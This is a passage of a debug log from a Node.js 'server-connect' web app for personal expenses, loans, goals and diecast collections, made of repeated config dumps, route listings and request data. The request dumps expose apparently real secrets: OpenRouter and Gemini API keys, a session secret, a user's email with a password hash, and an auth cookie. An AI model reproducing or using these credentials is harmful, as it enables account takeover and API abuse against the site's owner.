    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-14T05:27:40.796Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-14T05:27:41.666Z server-connect:setup:upload Upload middleware configured.
2026-05-14T05:27:41.666Z server-connect:secure CSRF Protection initialized
2026-05-14T05:27:41.671Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-14T05:27:41.673Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-14T05:27:41.675Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-14T05:27:41.676Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-14T05:27:41.686Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-14T05:27:41.687Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-14T05:27:41.700Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-14T05:27:41.713Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-14T05:27:41.718Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-14T05:27:41.720Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-14T05:27:41.721Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-14T05:27:41.726Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-14T05:27:41.731Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-14T05:27:41.741Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-14T05:27:41.745Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-14T05:27:41.817Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-14T05:27:41.819Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-14T05:27:41.823Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-14T05:27:41.829Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-14T05:27:41.833Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-14T05:27:41.835Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-14T05:27:41.843Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-14T05:27:41.844Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-14T05:27:41.850Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-14T05:27:41.852Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-14T05:27:41.856Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-14T05:27:41.858Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-14T05:27:41.860Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-14T05:27:41.866Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-14T05:27:41.870Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-14T05:27:41.872Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-14T05:27:41.874Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-14T05:27:41.878Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-14T05:27:41.880Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-14T05:27:41.886Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-14T05:27:41.890Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-14T05:27:41.892Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-14T05:27:41.901Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-14T05:27:42.391Z server-connect:router Serving templateView /
2026-05-14T05:27:42.393Z server-connect:app Executing action step identify
2026-05-14T05:27:42.394Z server-connect:app options: { provider: 'security' }
2026-05-14T05:27:42.445Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-05-14T05:27:42.487Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-05-14T05:27:42.542Z server-connect:output identity: 1
2026-05-14T05:27:42.542Z server-connect:app Executing action step restrict
2026-05-14T05:27:42.542Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-14T05:27:42.544Z server-connect:output restrict: undefined
2026-05-14T05:27:42.544Z server-connect:app Executing action step restrict
2026-05-14T05:27:42.544Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-14T05:27:42.545Z server-connect:output restrict: undefined
2026-05-14T05:27:42.545Z server-connect:router Render template layouts/main
2026-05-14T05:27:42.546Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AVFvhWokgFyPx894TTc62AQ%3D%3D.Q6QpMck8bQOUfaGOpyKghW5Slp1SJsU%2FKJPrNwVxRZe5cybjvcb54JIecvzA8%2FYwiL%2B7Gs7khCr2aaSxY5J%2FZLyyhOw86JCsIb0vLTv9n2lUW4uZCEcimwztXs5KqvtZ2dkrcFXwF6ocOsepf8R2AwC%2F9b%2Br9nN7Nodt%2FBiuJA0%3D.gYmt6D0dojhK0LmkfpeqhA9yEE9SkhgYovHJ5nitv%2Bs',
    'x-forwarded-for': '157.48.247.183',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-15T05:27:42.388Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.247.183',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="148", "Google Chrome";v="148", "Not/A)Brand";v="99"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AVFvhWokgFyPx894TTc62AQ%3D%3D.Q6QpMck8bQOUfaGOpyKghW5Slp1SJsU%2FKJPrNwVxRZe5cybjvcb54JIecvzA8%2FYwiL%2B7Gs7khCr2aaSxY5J%2FZLyyhOw86JCsIb0vLTv9n2lUW4uZCEcimwztXs5KqvtZ2dkrcFXwF6ocOsepf8R2AwC%2F9b%2Br9nN7Nodt%2FBiuJA0%3D.gYmt6D0dojhK0LmkfpeqhA9yEE9SkhgYovHJ5nitv%2Bs',
    'HTTP_X_FORWARDED-FOR': '157.48.247.183',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-05-14T06:02:11.826Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-14T06:02:13.057Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-14T06:02:13.909Z server-connect:setup:upload Upload middleware configured.
2026-05-14T06:02:13.909Z server-connect:secure CSRF Protection initialized
2026-05-14T06:02:13.912Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-14T06:02:13.915Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-14T06:02:13.918Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-14T06:02:13.921Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-14T06:02:13.926Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-14T06:02:13.929Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-14T06:02:13.943Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-14T06:02:13.957Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-14T06:02:13.961Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-14T06:02:13.963Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-14T06:02:13.965Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-14T06:02:13.969Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-14T06:02:13.974Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-14T06:02:13.984Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-14T06:02:13.989Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-14T06:02:13.996Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-14T06:02:13.998Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-14T06:02:14.002Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-14T06:02:14.008Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-14T06:02:14.012Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-14T06:02:14.014Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-14T06:02:14.022Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-14T06:02:14.022Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-14T06:02:14.029Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-14T06:02:14.031Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-14T06:02:14.035Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-14T06:02:14.037Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-14T06:02:14.039Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-14T06:02:14.045Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-14T06:02:14.047Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-14T06:02:14.049Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-14T06:02:14.051Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-14T06:02:14.055Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-14T06:02:14.057Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-14T06:02:14.063Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-14T06:02:14.067Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-14T06:02:14.069Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-14T06:02:14.078Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-14T06:02:14.565Z server-connect:router Serving templateView /
2026-05-14T06:02:14.567Z server-connect:app Executing action step identify
2026-05-14T06:02:14.567Z server-connect:app options: { provider: 'security' }
2026-05-14T06:02:14.569Z server-connect:auth No login cookie found
2026-05-14T06:02:14.569Z server-connect:output identity: false
2026-05-14T06:02:14.569Z server-connect:app Executing action step restrict
2026-05-14T06:02:14.569Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-05-14T06:02:14.573Z server-connect:output restrict: undefined
2026-05-14T06:02:19.642Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-14T06:02:19.819Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-14T06:02:19.904Z server-connect:setup:upload Upload middleware configured.
2026-05-14T06:02:19.904Z server-connect:secure CSRF Protection initialized
2026-05-14T06:02:19.906Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-14T06:02:19.908Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-14T06:02:19.909Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-14T06:02:19.910Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-14T06:02:19.910Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-14T06:02:19.912Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-14T06:02:19.915Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-14T06:02:19.916Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-14T06:02:19.916Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-14T06:02:19.916Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-14T06:02:19.917Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-14T06:02:19.917Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-14T06:02:19.917Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-14T06:02:19.918Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-14T06:02:19.918Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-14T06:02:19.918Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-14T06:02:19.918Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-14T06:02:19.919Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-14T06:02:19.919Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-14T06:02:19.920Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-14T06:02:19.920Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-14T06:02:19.921Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-14T06:02:19.921Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-14T06:02:19.921Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-14T06:02:19.922Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-14T06:02:19.922Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-14T06:02:19.922Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-14T06:02:19.922Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-14T06:02:19.923Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-14T06:02:19.923Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-14T06:02:19.923Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-14T06:02:19.923Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-14T06:02:19.923Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-14T06:02:19.924Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-14T06:02:19.924Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-14T06:02:19.924Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-14T06:02:19.924Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-14T06:02:19.924Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-14T06:02:20.038Z server-connect:router Serving templateView /login
2026-05-14T06:02:20.042Z server-connect:app Executing action step identify
2026-05-14T06:02:20.042Z server-connect:app options: { provider: 'security' }
2026-05-14T06:02:20.044Z server-connect:auth No login cookie found
2026-05-14T06:02:20.044Z server-connect:output identity: false
2026-05-14T06:02:20.044Z server-connect:router Render template layouts/authentication
2026-05-14T06:02:20.045Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'RecordedFuture Global Inventory Crawler',
    xxxxxxxxxx: 'close',
    referer: 'https://65.21.215.19:443',
    'x-scanned-by': 'RecordedFuture-Global Inventory',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.84.1.175',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-05-15T06:02:20.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.84.1.175',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'RecordedFuture Global Inventory Crawler',
    HTTP_XXXXXXXXXX: 'close',
    HTTP_REFERER: 'https://65.21.215.19:443',
    'HTTP_X_SCANNED-BY': 'RecordedFuture-Global Inventory',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.84.1.175',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-05-14T19:47:27.783Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-05-14T19:47:30.052Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-05-14T19:47:30.916Z server-connect:setup:upload Upload middleware configured.
2026-05-14T19:47:30.916Z server-connect:secure CSRF Protection initialized
2026-05-14T19:47:30.921Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-05-14T19:47:30.922Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-05-14T19:47:30.926Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-05-14T19:47:30.927Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-05-14T19:47:30.935Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-05-14T19:47:30.936Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-05-14T19:47:30.950Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-05-14T19:47:30.964Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-05-14T19:47:30.967Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-05-14T19:47:30.970Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-05-14T19:47:30.972Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-05-14T19:47:30.976Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-05-14T19:47:30.981Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-05-14T19:47:30.991Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-05-14T19:47:30.995Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-05-14T19:47:31.067Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-05-14T19:47:31.069Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-05-14T19:47:31.072Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-05-14T19:47:31.079Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-05-14T19:47:31.083Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-05-14T19:47:31.085Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-05-14T19:47:31.093Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-05-14T19:47:31.095Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-05-14T19:47:31.101Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-05-14T19:47:31.105Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-05-14T19:47:31.108Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-05-14T19:47:31.110Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-05-14T19:47:31.112Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-05-14T19:47:31.118Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-05-14T19:47:31.120Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-05-14T19:47:31.122Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-05-14T19:47:31.124Z server-connect:setup:routes Api route /api/test(.json)? created
2026-05-14T19:47:31.128Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-05-14T19:47:31.130Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-05-14T19:47:31.136Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-05-14T19:47:31.140Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-05-14T19:47:31.142Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-05-14T19:47:31.151Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-05-14T19:47:31.642Z server-connect:router Serving templateView /
2026-05-14T19:47:31.644Z server-connect:app Executing action step identify
2026-05-14T19:47:31.645Z server-connect:app options: { provider: 'security' }
2026-05-14T19:47:31.648Z server-connect:auth No login cookie found
2026-05-14T19:47:31.648Z server-connect:output identity: false
2026-05-14T19:47:31.648Z server-connect:app Executing action step restrict
2026-05-14T19:47:31.648Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
